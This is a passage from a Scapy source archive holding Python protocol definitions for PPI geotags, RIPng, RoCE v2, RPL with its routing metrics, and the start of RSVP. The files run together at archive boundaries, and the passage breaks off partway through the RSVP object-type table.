VectorFlags_Field(XLEIntField): """Represents the VectorFlags field. Handles the RelativeTo:sub-field""" _fwdstr = "DefinesForward" _resmask = 0xfffffff8 _relmask = 0x6 _relnames = [ "RelativeToForward", "RelativeToEarth", "RelativeToCurrent", "RelativeToReserved", ] _relvals = [0x00, 0x02, 0x04, 0x06] def i2repr(self, pkt, x): if x is None: return str(x) r = [] if (x & 0x1): r.append(self._fwdstr) i = (x & self._relmask) >> 1 r.append(self._relnames[i]) i = x & self._resmask if (i): r.append("ReservedBits:%08X" % i) sout = "+".join(r) return sout def any2i(self, pkt, x): if isinstance(x, str): r = x.split("+") y = 0 for value in r: if (value == self._fwdstr): y |= 0x1 elif (value in self._relnames): i = self._relnames.index(value) y &= (~self._relmask) y |= self._relvals[i] else: # logging.warning("Unknown VectorFlags Arg: %s", value) pass else: y = x # print "any2i: %s --> %s" % (str(x), str(y)) return y class HCSIFlagsField(FlagsField): """A FlagsField where each bit/flag turns a conditional field on or off. If the value is None when building a packet, i2m() will check the value of every field in self.names. If the field's value is not None, the corresponding flag will be set. """ def i2m(self, pkt, val): if val is None: val = 0 if (pkt): for i, name in enumerate(self.names): value = pkt.getfieldval(name) if value is not None: val |= 1 << i return val class HCSINullField(Field): def __init__(self, name): Field.__init__(self, name, None, '!') def _hcsi_null_range(*args, **kwargs): """Builds a list of _HCSINullField with numbered "Reserved" names. Takes the same arguments as the ``range`` built-in. :returns: list[HCSINullField] """ return [ HCSINullField('Reserved{:02d}'.format(x)) for x in range(*args, **kwargs) ] class HCSIDescField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, length=32) class HCSIAppField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, length=60) def _FlagsList(myfields): flags = ["Reserved%02d" % i for i in range(32)] for i, value in six.iteritems(myfields): flags[i] = value return flags # Define all geolocation-tag flags lists _hcsi_gps_flags = _FlagsList({ 0: "No Fix Available", 1: "GPS", 2: "Differential GPS", 3: "Pulse Per Second", 4: "Real Time Kinematic", 5: "Float Real Time Kinematic", 6: "Estimated (Dead Reckoning)", 7: "Manual Input", 8: "Simulation", }) _hcsi_vector_char_flags = _FlagsList({ 0: "Antenna", 1: "Direction of Travel", 2: "Front of Vehicle", 3: "Angle of Arrival", 4: "Transmitter Position", 8: "GPS Derived", 9: "INS Derived", 10: "Compass Derived", 11: "Acclerometer Derived", 12: "Human Derived", }) _hcsi_antenna_flags = _FlagsList({ 1: "Horizontal Polarization", 2: "Vertical Polarization", 3: "Circular Polarization Left", 4: "Circular Polarization Right", 16: "Electronically Steerable", 17: "Mechanically Steerable", }) # HCSI PPI Fields are similar to RadioTap. A mask field called "present" # specifies if each field is present. All other fields are conditional. When # dissecting a packet, each field is present if "present" has the corresponding # bit set. # # When building a packet, if "present" is None, the mask is set to include # every field that does not have a value of None. Otherwise, if the mask field # is not None, only the fields specified by "present" will be added to the # packet. # # To build each Packet type, build a list of the fields normally, excluding # the present bitmask field. The code will then construct conditional # versions of each field and add the present field. # # See GPS_Fields as an example. _COMMON_GEOTAG_HEADERS = [ ByteField('geotag_ver', CURR_GEOTAG_VER), ByteField('geotag_pad', 0), LEShortField('geotag_len', None), ] _COMMON_GEOTAG_FOOTER = [ HCSIDescField("DescString", None), XLEIntField("AppId", None), HCSIAppField("AppData", None), HCSINullField("Extended"), ] # Conditional test for all HCSI Fields def _HCSITest(fname, fbit, pkt): if pkt.present is None: return pkt.getfieldval(fname) is not None return pkt.present & fbit class _Geotag_metaclass(Packet_metaclass): def __new__(cls, name, bases, dct): hcsi_fields = dct.get('hcsi_fields', []) if len(hcsi_fields) != 0: hcsi_fields += _COMMON_GEOTAG_FOOTER if len(hcsi_fields) not in (8, 16, 32): raise TypeError( 'hcsi_fields in {} was {} elements long, expected 8, 16 ' 'or 32'.format(name, len(hcsi_fields))) names = [f.name for f in hcsi_fields] # Add the base fields fields_desc = _COMMON_GEOTAG_HEADERS + [ HCSIFlagsField('present', None, -len(names), names), ] # Add conditional fields for i, field in enumerate(hcsi_fields): fields_desc.append(ConditionalField( field, functools.partial( _HCSITest, field.name, 1 << i))) dct['fields_desc'] = fields_desc x = super(_Geotag_metaclass, cls).__new__(cls, name, bases, dct) return x class HCSIPacket(six.with_metaclass(_Geotag_metaclass, PPI_Element)): def post_build(self, p, pay): if self.geotag_len is None: sl_g = struct.pack('. # scapy.contrib.description = Routing Information Protocol next gen (RIPng) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IP6Field, ShortField from scapy.layers.inet import UDP class RIPng(Packet): name = "RIPng header" fields_desc = [ ByteEnumField("cmd", 1, {1: "req", 2: "resp"}), ByteField("ver", 1), ShortField("null", 0) ] class RIPngEntry(Packet): name = "RIPng entry" fields_desc = [ IP6Field("prefix_or_nh", "::"), ShortField("routetag", 0), ByteField("prefixlen", 0), ByteEnumField("metric", 1, {16: "Unreach", 255: "next-hop entry"}) ] bind_layers(UDP, RIPng, sport=521, dport=521) bind_layers(RIPng, RIPngEntry) bind_layers(RIPngEntry, RIPngEntry) scapy-2.4.4/scapy/contrib/roce.py000066400000000000000000000142131372370053500167270ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Haggai Eran # This program is published under a GPLv2 license # scapy.contrib.description = RoCE v2 # scapy.contrib.status = loads """ RoCE: RDMA over Converged Ethernet """ from scapy.packet import Packet, bind_layers, Raw from scapy.fields import ByteEnumField, XShortField, \ XLongField, BitField, FCSField from scapy.layers.inet import IP, UDP from scapy.compat import raw from scapy.error import warning from zlib import crc32 import struct _transports = { 'RC': 0x00, 'UC': 0x20, 'RD': 0x40, 'UD': 0x60, } _ops = { 'SEND_FIRST': 0x00, 'SEND_MIDDLE': 0x01, 'SEND_LAST': 0x02, 'SEND_LAST_WITH_IMMEDIATE': 0x03, 'SEND_ONLY': 0x04, 'SEND_ONLY_WITH_IMMEDIATE': 0x05, 'RDMA_WRITE_FIRST': 0x06, 'RDMA_WRITE_MIDDLE': 0x07, 'RDMA_WRITE_LAST': 0x08, 'RDMA_WRITE_LAST_WITH_IMMEDIATE': 0x09, 'RDMA_WRITE_ONLY': 0x0a, 'RDMA_WRITE_ONLY_WITH_IMMEDIATE': 0x0b, 'RDMA_READ_REQUEST': 0x0c, 'RDMA_READ_RESPONSE_FIRST': 0x0d, 'RDMA_READ_RESPONSE_MIDDLE': 0x0e, 'RDMA_READ_RESPONSE_LAST': 0x0f, 'RDMA_READ_RESPONSE_ONLY': 0x10, 'ACKNOWLEDGE': 0x11, 'ATOMIC_ACKNOWLEDGE': 0x12, 'COMPARE_SWAP': 0x13, 'FETCH_ADD': 0x14, } CNP_OPCODE = 0x81 def opcode(transport, op): return (_transports[transport] + _ops[op], '{}_{}'.format(transport, op)) _bth_opcodes = dict([ opcode('RC', 'SEND_FIRST'), opcode('RC', 'SEND_MIDDLE'), opcode('RC', 'SEND_LAST'), opcode('RC', 'SEND_LAST_WITH_IMMEDIATE'), opcode('RC', 'SEND_ONLY'), opcode('RC', 'SEND_ONLY_WITH_IMMEDIATE'), opcode('RC', 'RDMA_WRITE_FIRST'), opcode('RC', 'RDMA_WRITE_MIDDLE'), opcode('RC', 'RDMA_WRITE_LAST'), opcode('RC', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), opcode('RC', 'RDMA_WRITE_ONLY'), opcode('RC', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), opcode('RC', 'RDMA_READ_REQUEST'), opcode('RC', 'RDMA_READ_RESPONSE_FIRST'), opcode('RC', 'RDMA_READ_RESPONSE_MIDDLE'), opcode('RC', 'RDMA_READ_RESPONSE_LAST'), opcode('RC', 'RDMA_READ_RESPONSE_ONLY'), opcode('RC', 'ACKNOWLEDGE'), opcode('RC', 'ATOMIC_ACKNOWLEDGE'), opcode('RC', 'COMPARE_SWAP'), opcode('RC', 'FETCH_ADD'), opcode('UC', 'SEND_FIRST'), opcode('UC', 'SEND_MIDDLE'), opcode('UC', 'SEND_LAST'), opcode('UC', 'SEND_LAST_WITH_IMMEDIATE'), opcode('UC', 'SEND_ONLY'), opcode('UC', 'SEND_ONLY_WITH_IMMEDIATE'), opcode('UC', 'RDMA_WRITE_FIRST'), opcode('UC', 'RDMA_WRITE_MIDDLE'), opcode('UC', 'RDMA_WRITE_LAST'), opcode('UC', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), opcode('UC', 'RDMA_WRITE_ONLY'), opcode('UC', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), opcode('RD', 'SEND_FIRST'), opcode('RD', 'SEND_MIDDLE'), opcode('RD', 'SEND_LAST'), opcode('RD', 'SEND_LAST_WITH_IMMEDIATE'), opcode('RD', 'SEND_ONLY'), opcode('RD', 'SEND_ONLY_WITH_IMMEDIATE'), opcode('RD', 'RDMA_WRITE_FIRST'), opcode('RD', 'RDMA_WRITE_MIDDLE'), opcode('RD', 'RDMA_WRITE_LAST'), opcode('RD', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), opcode('RD', 'RDMA_WRITE_ONLY'), opcode('RD', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), opcode('RD', 'RDMA_READ_REQUEST'), opcode('RD', 'RDMA_READ_RESPONSE_FIRST'), opcode('RD', 'RDMA_READ_RESPONSE_MIDDLE'), opcode('RD', 'RDMA_READ_RESPONSE_LAST'), opcode('RD', 'RDMA_READ_RESPONSE_ONLY'), opcode('RD', 'ACKNOWLEDGE'), opcode('RD', 'ATOMIC_ACKNOWLEDGE'), opcode('RD', 'COMPARE_SWAP'), opcode('RD', 'FETCH_ADD'), opcode('UD', 'SEND_ONLY'), opcode('UD', 'SEND_ONLY_WITH_IMMEDIATE'), (CNP_OPCODE, 'CNP'), ]) class BTH(Packet): name = "BTH" fields_desc = [ ByteEnumField("opcode", 0, _bth_opcodes), BitField("solicited", 0, 1), BitField("migreq", 0, 1), BitField("padcount", 0, 2), BitField("version", 0, 4), XShortField("pkey", 0xffff), BitField("fecn", 0, 1), BitField("becn", 0, 1), BitField("resv6", 0, 6), BitField("dqpn", 0, 24), BitField("ackreq", 0, 1), BitField("resv7", 0, 7), BitField("psn", 0, 24), FCSField("icrc", None, fmt="!I")] @staticmethod def pack_icrc(icrc): return struct.pack("!I", icrc & 0xffffffff)[::-1] def compute_icrc(self, p): udp = self.underlayer if udp is None or not isinstance(udp, UDP): warning("Expecting UDP underlayer to compute checksum. Got %s.", udp and udp.name) return self.pack_icrc(0) ip = udp.underlayer if isinstance(ip, IP): # pseudo-LRH / IP / UDP / BTH / payload pshdr = Raw(b'\xff' * 8) / ip.copy() pshdr.chksum = 0xffff pshdr.ttl = 0xff pshdr.tos = 0xff pshdr[UDP].chksum = 0xffff pshdr[BTH].fecn = 1 pshdr[BTH].becn = 1 pshdr[BTH].resv6 = 0xff bth = pshdr[BTH].self_build() payload = raw(pshdr[BTH].payload) # add ICRC placeholder just to get the right IP.totlen and # UDP.length icrc_placeholder = b'\xff\xff\xff\xff' pshdr[UDP].payload = Raw(bth + payload + icrc_placeholder) icrc = crc32(raw(pshdr)[:-4]) & 0xffffffff return self.pack_icrc(icrc) else: # TODO support IPv6 warning("The underlayer protocol %s is not supported.", ip and ip.name) return self.pack_icrc(0) # RoCE packets end with ICRC - a 32-bit CRC of the packet payload and # pseudo-header. Add the ICRC header if it is missing and calculate its # value. def post_build(self, p, pay): p += pay if self.icrc is None: p = p[:-4] + self.compute_icrc(p) return p class CNPPadding(Packet): name = "CNPPadding" fields_desc = [ XLongField("reserved1", 0), XLongField("reserved2", 0), ] def cnp(dqpn): return BTH(opcode=CNP_OPCODE, becn=1, dqpn=dqpn) / CNPPadding() bind_layers(BTH, CNPPadding, opcode=CNP_OPCODE) bind_layers(UDP, BTH, dport=4791) scapy-2.4.4/scapy/contrib/rpl.py000066400000000000000000000260771372370053500166070ustar00rootroot00000000000000# This file is part of Scapy. # See http://www.secdev.org/projects/scapy for more information. # # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # # Copyright (C) 2020 Rahul Jadhav # RFC 6550 # scapy.contrib.description = Routing Protocol for LLNs (RPL) # scapy.contrib.status = loads """ RPL === RFC 6550 - Routing Protocol for Low-Power and Lossy Networks (RPL) draft-ietf-roll-efficient-npdao-17 - Efficient Route Invalidation +----------------------------------------------------------------------+ | RPL Options : Pad1 PadN TIO RIO PIO Tgt TgtDesc DODAGConfig DAGMC ...| +----------------------------------------------------------------------+ | RPL Msgs : DIS DIO DAO DAOACK DCO DCOACK | +----------------------------------------------------------------------+ | ICMPv6 : type 155 RPL | +----------------------------------------------------------------------+ """ from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IP6Field, ShortField, \ BitField, BitEnumField, FieldLenField, StrLenField, IntField, \ ConditionalField from scapy.layers.inet6 import ICMPv6RPL, icmp6ndraprefs, _IP6PrefixField # https://www.iana.org/assignments/rpl/rpl.xhtml#mop RPLMOP = {0: "No Downward routes", 1: "Non-Storing", 2: "Storing with no multicast support", 3: "Storing with multicast support", 4: "P2P Route Discovery"} # https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options RPLOPTSSTR = {0: "Pad1", 1: "PadN", 2: "DAG Metric Container", 3: "Routing Information", 4: "DODAG Configuration", 5: "RPL Target", 6: "Transit Information", 7: "Solicited Information", 8: "Prefix Information Option", 9: "Target Descriptor", 10: "P2P Route Discovery"} class _RPLGuessOption(Packet): name = "Dummy RPL Option class" class RPLOptRIO(_RPLGuessOption): """ Control Option: Routing Information Option (RIO) """ name = "Routing Information" fields_desc = [ByteEnumField("otype", 3, RPLOPTSSTR), FieldLenField("len", None, length_of="prefix", fmt="B", adjust=lambda pkt, x: x + 6), ByteField("plen", None), BitField("res1", 0, 3), BitEnumField("prf", 0, 2, icmp6ndraprefs), BitField("res2", 0, 3), IntField("rtlifetime", 0xffffffff), _IP6PrefixField("prefix", None)] class RPLOptDODAGConfig(_RPLGuessOption): """ Control Option: DODAG Configuration """ name = "DODAG Configuration" fields_desc = [ByteEnumField("otype", 4, RPLOPTSSTR), ByteField("len", 14), BitField("flags", 0, 4), BitField("A", 0, 1), BitField("PCS", 0, 3), ByteField("DIOIntDoubl", 20), ByteField("DIOIntMin", 3), ByteField("DIORedun", 10), ShortField("MaxRankIncrease", 0), ShortField("MinRankIncrease", 256), ShortField("OCP", 1), ByteField("reserved", 0), ByteField("DefLifetime", 0xff), ShortField("LifetimeUnit", 0xffff)] class RPLOptTgt(_RPLGuessOption): """ Control Option: RPL Target """ name = "RPL Target" fields_desc = [ByteEnumField("otype", 5, RPLOPTSSTR), FieldLenField("len", None, length_of="prefix", fmt="B", adjust=lambda pkt, x: x + 2), ByteField("flags", 0), ByteField("plen", 0), _IP6PrefixField("prefix", None)] class RPLOptTIO(_RPLGuessOption): """ Control Option: Transit Information Option (TIO) """ name = "Transit Information" fields_desc = [ByteEnumField("otype", 6, RPLOPTSSTR), FieldLenField("len", None, length_of="parentaddr", fmt="B", adjust=lambda pkt, x: x + 4), BitField("E", 0, 1), BitField("flags", 0, 7), ByteField("pathcontrol", 0), ByteField("pathseq", 0), ByteField("pathlifetime", 0xff), _IP6PrefixField("parentaddr", None)] class RPLOptSolInfo(_RPLGuessOption): """ Control Option: Solicited Information """ name = "Solicited Information" fields_desc = [ByteEnumField("otype", 7, RPLOPTSSTR), ByteField("len", 19), ByteField("RPLInstanceID", 0), BitField("V", 0, 1), BitField("I", 0, 1), BitField("D", 0, 1), BitField("flags", 0, 5), IP6Field("dodagid", "::1"), ByteField("ver", 0)] class RPLOptPIO(_RPLGuessOption): """ Control Option: Prefix Information Option (PIO) """ name = "Prefix Information" fields_desc = [ByteEnumField("otype", 8, RPLOPTSSTR), ByteField("len", 30), ByteField("plen", 64), BitField("L", 0, 1), BitField("A", 0, 1), BitField("R", 0, 1), BitField("reserved1", 0, 5), IntField("validlifetime", 0xffffffff), IntField("preflifetime", 0xffffffff), IntField("reserved2", 0), IP6Field("prefix", "::1")] class RPLOptTgtDesc(_RPLGuessOption): """ Control Option: RPL Target Descriptor """ name = "RPL Target Descriptor" fields_desc = [ByteEnumField("otype", 9, RPLOPTSSTR), ByteField("len", 4), IntField("descriptor", 0)] class RPLOptPad1(_RPLGuessOption): """ Control Option: Pad 1 byte """ name = "Pad1" fields_desc = [ByteEnumField("otype", 0x00, RPLOPTSSTR)] class RPLOptPadN(_RPLGuessOption): """ Control Option: Pad N bytes """ name = "PadN" fields_desc = [ByteEnumField("otype", 0x01, RPLOPTSSTR), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] # https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options RPLOPTS = {0: RPLOptPad1, 1: RPLOptPadN, # 2: RPLOptDAGMC, defined in rpl_metrics.py 3: RPLOptRIO, 4: RPLOptDODAGConfig, 5: RPLOptTgt, 6: RPLOptTIO, 7: RPLOptSolInfo, 8: RPLOptPIO, 9: RPLOptTgtDesc} # RPL Control Message Handling class _RPLGuessMsgType(Packet): name = "Dummy RPL Message class" def guess_payload_class(self, payload): if isinstance(payload, str): otype = ord(payload[0]) else: otype = payload[0] return RPLOPTS.get(otype) class RPLDIS(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: DODAG Information Solicitation (DIS) """ name = "DODAG Information Solicitation" fields_desc = [ByteField("flags", 0), ByteField("reserved", 0)] class RPLDIO(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: DODAG Information Object (DIO) """ name = "DODAG Information Object" fields_desc = [ByteField("RPLInstanceID", 50), ByteField("ver", 0), ShortField("rank", 1), BitField("G", 1, 1), BitField("unused1", 0, 1), BitEnumField("mop", 1, 3, RPLMOP), BitField("prf", 0, 3), ByteField("dtsn", 240), ByteField("flags", 0), ByteField("reserved", 0), IP6Field("dodagid", "::1")] class RPLDAO(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: Destination Advertisement Object (DAO) """ name = "Destination Advertisement Object" fields_desc = [ByteField("RPLInstanceID", 50), BitField("K", 0, 1), BitField("D", 0, 1), BitField("flags", 0, 6), ByteField("reserved", 0), ByteField("daoseq", 1), ConditionalField(IP6Field("dodagid", None), lambda pkt: pkt.D == 1)] class RPLDAOACK(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: Destination Advertisement Object Acknowledgement (DAOACK) """ name = "Destination Advertisement Object Acknowledgement" fields_desc = [ByteField("RPLInstanceID", 50), BitField("D", 0, 1), BitField("reserved", 0, 7), ByteField("daoseq", 1), ByteField("status", 0), ConditionalField(IP6Field("dodagid", None), lambda pkt: pkt.D == 1)] # https://datatracker.ietf.org/doc/draft-ietf-roll-efficient-npdao/ class RPLDCO(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: Destination Cleanup Object (DCO) """ name = "Destination Cleanup Object" fields_desc = [ByteField("RPLInstanceID", 50), BitField("K", 0, 1), BitField("D", 0, 1), BitField("flags", 0, 6), ByteField("status", 0), ByteField("dcoseq", 1), ConditionalField(IP6Field("dodagid", None), lambda pkt: pkt.D == 1)] # https://datatracker.ietf.org/doc/draft-ietf-roll-efficient-npdao/ class RPLDCOACK(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: Destination Cleanup Object Acknowledgement (DCOACK) """ name = "Destination Cleanup Object Acknowledgement" fields_desc = [ByteField("RPLInstanceID", 50), BitField("D", 0, 1), BitField("flags", 0, 7), ByteField("dcoseq", 1), ByteField("status", 0), ConditionalField(IP6Field("dodagid", None), lambda pkt: pkt.D == 1)] # https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes bind_layers(ICMPv6RPL, RPLDIS, code=0) bind_layers(ICMPv6RPL, RPLDIO, code=1) bind_layers(ICMPv6RPL, RPLDAO, code=2) bind_layers(ICMPv6RPL, RPLDAOACK, code=3) bind_layers(ICMPv6RPL, RPLDCO, code=7) bind_layers(ICMPv6RPL, RPLDCOACK, code=8) scapy-2.4.4/scapy/contrib/rpl_metrics.py000066400000000000000000000226031372370053500203240ustar00rootroot00000000000000# This file is part of Scapy. # See http://www.secdev.org/projects/scapy for more information. # # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # # Copyright (C) 2020 Rahul Jadhav # RFC 6551 # scapy.contrib.description = Routing Metrics used for Path Calc in LLNs # scapy.contrib.status = loads """ RFC 6551 - Routing Metrics Used for Path Calculation in LLNs +----------------------------+ | Metrics & Constraint Types | +----------------------------+ | DAGMC Option | +----------------------------+ | RPL-DIO | +----------------------------+ """ import struct from scapy.compat import orb from scapy.packet import Packet from scapy.fields import ByteEnumField, ByteField, ShortField, BitField, \ BitEnumField, FieldLenField, StrLenField, IntField from scapy.layers.inet6 import _PhantomAutoPadField, _OptionsField from scapy.contrib.rpl import RPLOPTSSTR, RPLOPTS class _DAGMetricContainer(Packet): name = 'Dummy DAG Metric container' def post_build(self, pkt, pay): pkt += pay tmp_len = self.len if self.len is None: tmp_len = len(pkt) - 2 pkt = pkt[:1] + struct.pack("B", tmp_len) + pkt[2:] return pkt DAGMC_OBJTYPE = {1: "Node State and Attributes", 2: "Node Energy", 3: "Hop Count", 4: "Link Throughput", 5: "Link Latency", 6: "Link Quality Level", 7: "Link ETX", 8: "Link Color"} class DAGMCObjUnknown(Packet): """ Dummy unknown metric/constraint """ name = 'Unknown DAGMC Object Option' fields_desc = [ByteEnumField("otype", 3, DAGMC_OBJTYPE), FieldLenField("olen", None, length_of="odata", fmt="B"), StrLenField("odata", "", length_from=lambda pkt: pkt.olen)] @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): """ Dispatch hook for DAGMC sub-fields """ if _pkt: opt_type = orb(_pkt[0]) # Option type if opt_type in DAGMC_CLS: return DAGMC_CLS[opt_type] return cls AGG_RTMETRIC = {0: "additive", 1: "maximum", 2: "minimum", 3: "multiplicative"} # RFC 6551 class DAGMCObj(Packet): """ Set the length field in DAG Metric Constraint Control Option """ name = 'Dummy DAG MC Object' def post_build(self, pkt, pay): pkt += pay tmp_len = self.len if self.len is None: tmp_len = len(pkt) - 4 pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:] return pkt class RPLDAGMCNSA(DAGMCObj): """ DAG Metric: Node State and Attributes """ name = "Node State and Attributes" fields_desc = [ByteEnumField("otype", 1, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None), # NSA Object Body Format ByteField("res", 0), BitField("flags", 0, 6), BitField("A", 0, 1), BitField("O", 0, 1)] class RPLDAGMCNodeEnergy(DAGMCObj): """ DAG Metric: Node Energy """ name = "Node Energy" fields_desc = [ByteEnumField("otype", 2, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None), # NE Sub-Object Format BitField("flags", 0, 4), BitField("I", 0, 1), BitField("T", 0, 2), BitField("E", 0, 1), ByteField("E_E", 0)] class RPLDAGMCHopCount(DAGMCObj): """ DAG Metric: Hop Count """ name = "Hop Count" fields_desc = [ByteEnumField("otype", 3, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None), # Sub-Object Format BitField("res", 0, 4), BitField("flags", 0, 4), ByteField("HopCount", 1)] class RPLDAGMCLinkThroughput(DAGMCObj): """ DAG Metric: Link Throughput """ name = "Link Throughput" fields_desc = [ByteEnumField("otype", 4, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None), # Sub-Object Format IntField("Throughput", 1)] class RPLDAGMCLinkLatency(DAGMCObj): """ DAG Metric: Link Latency """ name = "Link Latency" fields_desc = [ByteEnumField("otype", 5, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None), # NE Sub-Object Format IntField("Latency", 1)] class RPLDAGMCLinkQualityLevel(DAGMCObj): """ DAG Metric: Link Quality Level (LQL) """ name = "Link Quality Level" fields_desc = [ByteEnumField("otype", 6, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None), # Sub-Object Format ByteField("res", 0), BitField("val", 0, 3), BitField("counter", 0, 5)] class RPLDAGMCLinkETX(DAGMCObj): """ DAG Metric: Link ETX """ name = "Link ETX" fields_desc = [ByteEnumField("otype", 7, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None), # Sub-Object Format ShortField("ETX", 1)] # Note: Wireshark shows warning decoding LinkColor. # This seems to be wireshark issue! class RPLDAGMCLinkColor(DAGMCObj): """ DAG Metric: Link Color """ name = "Link Color" fields_desc = [ByteEnumField("otype", 8, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None), # Sub-Object Format ByteField("res", 0), BitField("color", 1, 10), BitField("counter", 1, 6)] DAGMC_CLS = {1: RPLDAGMCNSA, 2: RPLDAGMCNodeEnergy, 3: RPLDAGMCHopCount, 4: RPLDAGMCLinkThroughput, 5: RPLDAGMCLinkLatency, 6: RPLDAGMCLinkQualityLevel, 7: RPLDAGMCLinkETX, 8: RPLDAGMCLinkColor} class RPLOptDAGMC(_DAGMetricContainer): """ Control Option: DAG Metric Container """ name = "DAG Metric Container" fields_desc = [ByteEnumField("otype", 2, RPLOPTSSTR), ByteField("len", None), _PhantomAutoPadField("autopad", 0), _OptionsField("options", [], DAGMCObjUnknown, 8, length_from=lambda pkt: 8 * pkt.len)] # https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options RPLOPTS.update({2: RPLOptDAGMC}) scapy-2.4.4/scapy/contrib/rsvp.py000066400000000000000000000165561372370053500170050ustar00rootroot00000000000000# RSVP layer # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Resource Reservation Protocol (RSVP) # scapy.contrib.status = loads from scapy.compat import chb from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ IPField, ShortField, StrLenField, XByteField, XShortField from scapy.layers.inet import IP, checksum rsvpmsgtypes = {0x01: "Path", 0x02: "Reservation request", 0x03: "Path error", 0x04: "Reservation request error", 0x05: "Path teardown", 0x06: "Reservation teardown", 0x07: "Reservation request acknowledgment" } class RSVP(Packet): name = "RSVP" fields_desc = [BitField("Version", 1, 4), BitField("Flags", 1, 4), ByteEnumField("Class", 0x01, rsvpmsgtypes), XShortField("chksum", None), ByteField("TTL", 1), XByteField("dataofs", 0), ShortField("Length", None)] def post_build(self, p, pay): p += pay if self.Length is None: tmp_len = len(p) tmp_p = p[:6] + chb((tmp_len >> 8) & 0xff) + chb(tmp_len & 0xff) p = tmp_p + p[8:] if self.chksum is None: ck = checksum(p) p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] return p rsvptypes = {0x01: "Session", 0x03: "HOP", 0x04: "INTEGRITY", 0x05: "TIME_VALUES", 0x06: "ERROR_SPEC", 0x07: "SCOPE", 0x08: "STYLE", 0x09: "FLOWSPEC", 0x0A: "FILTER_SPEC", 0x0B: "SENDER_TEMPLATE", 0x0C: "SENDER_TSPEC", 0x0D: "ADSPEC", 0x0E: "POLICY_DATA", 0x0F: "RESV_CONFIRM", 0x10: "RSVP_LABEL", 0x11: "HOP_COUNT", 0x12: "STRICT_SOURCE_ROUTE", 0x13: "LABEL_REQUEST", 0x14: "EXPLICIT_ROUTE", 0x15: "ROUTE_RECORD", 0x16: "HELLO", 0x17: "MESSAGE_ID", 0x18: "MESSAGE_ID_ACK", 0x19: 